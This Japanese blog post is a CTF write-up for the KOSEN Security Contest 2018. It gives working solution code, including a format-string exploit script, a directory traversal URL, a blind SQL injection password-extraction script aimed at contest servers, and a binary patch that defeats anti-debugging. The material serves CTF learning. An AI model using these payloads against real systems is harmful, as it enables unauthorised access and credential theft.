CTFするぞ

CTFを勉強してて学んだことをまとめていきたい

高専セキュリティコンテスト2018のWrite Up

はじめに

2018年09月01日から02日にかけて福岡で高専セキュリティコンテスト(KOSESNSC)が開催されました. 編入試験が終わって時間が空いたので,久しぶりにCTFに参加しました. 久しぶりで腕も鈍っていたので,8月の終わりに研究室でKOSENSC対策の模擬CTFを2回やって練習しました. 勉強の成果もあって,2日目の最初の段階で全問解答し,無事優勝することができました.

f:id:ptr-yudai:20180902184715p:plain:h320

私は1700ptくらい入れたので,解いた問題のwrite upを書きます. 難問ばっかり解いたふるつきのwrite upもどうぞ.

furutsuki.hatenablog.com

ネットワーク担当のthrustのwrite upはこちら.

thrust2799.hatenablog.jp

CTF初心者(300点問題を解く)yoshikingのwrite upはこちら.

ocamlab.kibe.la

初日の最後にyoshikingがかき集めてくれたので問題は以下から参照できます.

KOSENSC2018 - Google ドライブ

また,問題名とセットにどれくらいの時間で解けたかも書いておきます.

問題

[01 Binary100] まどわされるな!(10分~15分)

[問題内容]
片方しかフラグが手に入らない.どうにかしてもう片方のフラグを見つけられないだろうか.
[問題ファイル]
flag.out

配布されたファイルはELFバイナリだったので実行してみます.

$ ./flag.out 
flag is SCKOSEN{you_are_go... oops! I Forgot!

問題内容通りフラグの先頭だけ表示されます.IDAで解析してもこの文章を出力するだけでした. そこでbinwalkでflag.outを見てみると,JPEGデータが付いていたので取り出しました. (なぜかbinwalkでは取り出せなかったのでPythonで書きました.)

buf = open("flag.out").read()
buf = buf[buf.index("\xFF\xD8\xff\xe0"):]
open("hoge.jpg", "wb").write(buf)

取り出した画像に残りのフラグが書いていました.

[03 Binary100] printf(5分)

[問題内容]
フラグを読み出せ!ゲームへの接続方法:nc [hostname] [port] 例:nc 27.133.152.42 80

ふるつきに「解けるからやっといて」と言われて解いた問題です. 接続するとフラグの入っている変数のアドレスが渡され,文字が入力できます. %xなどを入力すると怪しいアドレスが表示されるので,Format String Bugの脆弱性があることが分かります. (FSBがあることはふるつきが最初に教えてくれた.) これはprintf関数などのフォーマット書式を扱う関数に直接入力を与えていることが原因で起こります.例えば

char buf[1024];
scanf("%1000s", buf);
printf(buf);

のようなコードは脆弱です.printfは%sなどの書式が与えられるとスタックからデータを読み込み表示します. したがって,%pをたくさん入力するとスタック上のデータをたくさん表示することができます. 同様に%sを与えればスタック上のアドレスにあるデータを表示することができます. Format String Attackについてはこちらに分かりやすく書かれています. 次のようなコードでフラグを読み出しました.

from pwn import *
from struct import *

sock = remote("27.133.152.42", 80)
sock.recvuntil("in ")
addr = int(sock.recvline(), 16)
sock.recvuntil("want: ")
payload = struct.pack("<I", addr) + " %15$s"
sock.sendline(payload)
print sock.recv(4000)

FLAGのアドレスに入力できない文字("\x00"など)が入っていない場合はpayloadが送れるのでフラグが表示されました.

[05 Binary250] Simple anti debugger(20分~30分)

[問題内容]
gdbにアタッチしてみたが動かない.どうやって解析しようか.
[問題ファイル]
simple_anti_debugger

確かにgdbで動かすとmain関数に入る前に終了します.

gdb-peda$ start
I hate debugger ~:-(
[Inferior 1 (process 5539) exited with code 01]

IDAで見るとdetect_debuggerなる関数があり,ptraceを使ってデバッガを検知しているので,検知の条件分岐の値をいじったバイナリを作ります. IDAのgraph viewで命令にカーソルを合わせた状態でHex Viewを見ると対応する機械語が分かるので,pythonでこの部分を変更したバイナリを作りました.

buf = open("simple_anti_debugger").read()
ofs = buf.index("\x83\xF8\xFF")
buf = buf[:ofs] + "\x83\xF8\xF0" + buf[ofs + 3:]
open("bin", "wb").write(buf)

これをgdbデバッグすると,検知されません. IDAの方でis_correct_password関数の中身を確認すると,入力の文字コードの総和が0xA5であればOKみたいです. gdbで文字数の総和を取っているメモリの値を0xA5に変更して進めると,decode関数に入ります. これも読もうかと思ったのですが,decode関数を出るときにメモリ上にフラグがありました.

別解

この問題はdecode関数を読むことでも解けます. decode関数はエンコードされたフラグ(encoded_flag)を入力として受け取り,デコードされたフラグを出力として返します. 内部ではencoded_flagを1文字ずつxor 1していたので,データ部にあるencoded_flagを処理してもフラグが得られます.

encoded_flag = "RBJNRDOzH^mhjd^edctffds|"

FLAG = ""
for c in encoded_flag:
    FLAG += chr(ord(c) ^ 1)

print FLAG

[06 Crypto100] exchangeable if(10分~15分)

[問題内容]
画像を見つけた.フラグを取り出せ!
[問題ファイル]
out.jpeg

画像ファイルが渡され,フラグが書いてありますが,その中の4文字だけ分からないようです. exiftoolで画像を見ると"md5=2009d1c114ed83f57cf8adde69fd6ca8"という文字列がありました. しばらく眺めていると,これがフラグのmd5なのではと思いついたので,4文字に英数字を当てはめてmd5は一致するものを探すと,フラグが見つかりました.

import hashlib
import string

pre = "SCKOSEN{sHDtF1"
lat = "NLTIWp}"
md5 = "2009d1c114ed83f57cf8adde69fd6ca8"

FLAG = ""
table = string.ascii_letters + "0123456789"
for s1 in table:
    for s2 in table:
        for s3 in table:
            for s4 in table:
                FLAG = pre + s1 + s2 + s3 + s4 + lat
                if hashlib.md5(FLAG).hexdigest() == md5:
                    print FLAG
                    exit(1)

[07 Crypto200] シンプルなQRコード(10分)

同じチームのthrustが解き始めたのですが,頑張ってQRの写真撮ってたので声をかけるとstrong-qr-decoderで解けるタイプのQRコードでした. thrustが正方形のQRっぽい形にしてくれていて,データ部も残っていたのでstrong-qr-decoderで読み込めそうでした. PILでQRコードの画像をテキストに変換し,strong-qr-decoderにかけるとフラグが出力されました. 詳しいwrite upはthrust2799が書いているはずなのでそちらを参照してください.

[08 Crypto200] 旅行の写真(10分)

[問題内容]
友達が旅行に行ってきたそうだが,写真がどこかおかしい.きっと何かを隠しているに違いない.
[問題ファイル]
problem.png

一日目は触りませんでしたが,ホテルで解きました. 一日目にこれをやってた人が,周期的な線が入っていることや,青と緑の下位4ビットでそれが現れると言っていたので,それを繋げれば文字コードになるのでは,と思ってコードを書きました.

from PIL import Image

im = Image.open("problem.png")
size = im.size

FLAG = ""
for x in range(32):
    r,g,b = im.getpixel((x,0))
    p = g & 0b1111
    q = b & 0b1111
    FLAG += chr((p << 4) + q)

print FLAG

同じようなステガノグラフィーツールを作ったことがあったのですぐに解けました.

[12 Web100] サーバーから情報を抜き出せ!(5分)

[問題内容]
サーバーに重要な情報があることがわかった.flag.txtを奪い取れ!
[Webサーバー]
http://cheat.kosensc2018.tech

アクセスするとレゴの画像が表示されるページだったのでHTMLを読むと,次のようにfilenameパラメータにGETで画像をリクエストしています.

      <div class="card box" style="width: 20rem;">
        <img class="card-img-top" src="/image?filename=1.jpeg">
        <div class="card-body">
          <h4 class="card-title">ホットドッグマン</h4>
          <p class="card-text">頭にホットドックが刺さってるキャラクター</p>
        </div>
      </div>

ここで"filename=../flag.txt"とするとディレクトリトラバーサル脆弱性によりフラグが見れます.

[14 Web300] アカウントを奪え(30分~40分)

[問題内容]
アカウントを奪ってしまおう.
フラグはSCKOSEN{keyword}の形で,keywordを探してほしい.
[Webサーバー]
http://bsql.kosensc2018.tech

SQL Injectionでログインすると,ソースコードが渡され,ユーザー'kosenjoh'のパスワードを取れとのこと.Blind SQL Injectionの問題ですね. 先日研究室でふるつきが開いたKoHでBlind SQL Injectionが出題されたので記憶に新しく,すぐにコードを書くことができました.

import requests
import json
import string

FLAG = ""
x = 0
while True:
    q = False
    x += 1
    for c in string.printable:
        payload = {'userid': 'kosenjoh', 'pass': "' OR SUBSTR(pass,{0},1)='{1}' LIMIT 1 ;-- ".format(x, c)}
        url = "http://bsql.kosensc2018.tech/"
        r = requests.post(url, data=payload)
        if "highlight_file" in r.text.encode("utf-8"):
            FLAG += c
            print(FLAG)
            q = True
            break
    if q == False:
        print("[ERROR] Unmatch")
        FLAG += "?"

最初printする場所が"FLAG += c"の前になってて1文字足りなかったので時間を取られました.

[21 Misc100] 謎のファイル(10分)

[問題内容]
どうやれば開けるだろうか...
[問題ファイル]
file

fileコマンドではZIPと言われるのでunzipすると,"word"と"docProps"とかOffice製品っぽいフォルダが展開されます. 後で気づいたのですが,中にrename_me.xmlというXMLファイルがあったので,これを正しいファイル名に変更して適切にzip圧縮すれば解けそうです. 優勝が確定して見直しに入るまでは気づかなかったので別の解き方をしていました. unzipして出てきたファイルの中のdocument.xmlで"SCKOSEN"の"S"を探すと,xml構文をまたいで次に"C"があったので,これを繋げればフラグになるかなぁ,となんとなく思いました. 繋げると意味不明な文字列が出てきたのですが,"{"と"}"があるので並べ替えればフラグになると思って慎重に読むと,2文字飛ばして読めばフラグになることに気づきました.

import re
buf = open("document.xml").read()
res = re.findall("w:t>(.)</w:t", buf)
res = "".join(res)
print res
FLAG = ""
for i in range(0, len(res), 3):
    FLAG += res[i]
for i in range(1, len(res), 3):
    FLAG += res[i]
for i in range(2, len(res), 3):
    FLAG += res[i]

print FLAG

誰か正攻法教えて. rename_me.xmlを[Content_Types].xmlに変更してzip圧縮すればワードで開けるそうです.7zipで圧縮したせいか私は開けませんでした...... thrustによると無圧縮とか圧縮方法が関係しているそうです.

[23 Misc300] 攻撃ログ(3時間)

[問題内容]
ログを見てほしい.なにかがおかしい.
何かが起こっている1行をsha1でハッシュ化し,SCKOSEN{hoge}のhogeに入れてくれ.
[問題ファイル]
localhost_access_log.2018-08-29.txt

1万数千行のWebサーバーアクセスログが渡されます. 何かがおかしいって何だよ...と思いながらログを見ると同じIPから大量の攻撃(OWASP ZAP?)がありました. 1行ずつ見ても終わらないので各行から得られる情報を整理するpythonコードを書きました. 使われてるメソッド,Content-Typeを一覧にしたり,レスポンス時間やレスポンスサイズを大きい順に並べたりといろいろして,候補を選ぶことにしました. Content-Typeの一覧を見ると,1つだけファイルアップロードしているっぽいリクエストがあったので候補に挙げました. レスポンスが500だったので,これは違うかなーと思って,使われているフレームワークを調べたり,レスポンスが404や500の後に200になっている行を探したりして調査を続けました. 11時半頃にみんな眠くなってきたとき,時刻通りに並んでいないリクエストが1つあることに気が付きました. これを見つけて絶対これじゃんってなってみんなで寝ました.(1日目終了時点で旅行写真とこの問題しか残ってなかった.) しかし,いざ次の日フラグを送ってみると不正解と言われます. 最初に見つけたアップロードリクエストの行を送ってみるとこっちが正解でした. (あとで調べたらレスポンスまでの時間がかかるとアクセス時間の順番通りにログが並ばないことが結構多いみたいです.) 上位5チームは全員この問題を解いていましたが,確信を持ってこれを選べたんですかね? レスポンスが"Internal Server Error"なので我々のチームメンバーはしっくりきてません.

感想

全体的に良問で難易度も高くなかったのでやりやすかったです.ただ「攻撃ログ」と「find the flag」は個人的には肌に合わなかったです. 担当のForensicsは無かったですが代わりにSteganography,Binary系は結構解いたのでセーフ.あとExploit問題がほしかったです. チーム内で事前に役割分担していた上に,情報共有が事前練習通り上手くいったため早いうちに全完できました.

thrustは予定通りネットワーク全部やってくれました.さすが.

yoshikingはCTF初めて2か月なのに集中特訓していた暗号の250, 300点問題をちゃんと解いていた.えらいぞ.

ふるつきはプロなので難しい問題だけに集中して200点以上の問題だけ解いた.すごいぞ.

私はというと初日は300点1つ解いて満足したんで誰も解けてない100点とかを消化してました.残った問題はホテルで全部解いたから許して.

進撃とかfind the flagとか時間かけた割にあんまり成果が出せなかったのでそこは反省です. 今後はSECCONに向けて対策していこうと思います.

参加者と運営の皆様,お疲れ様でした!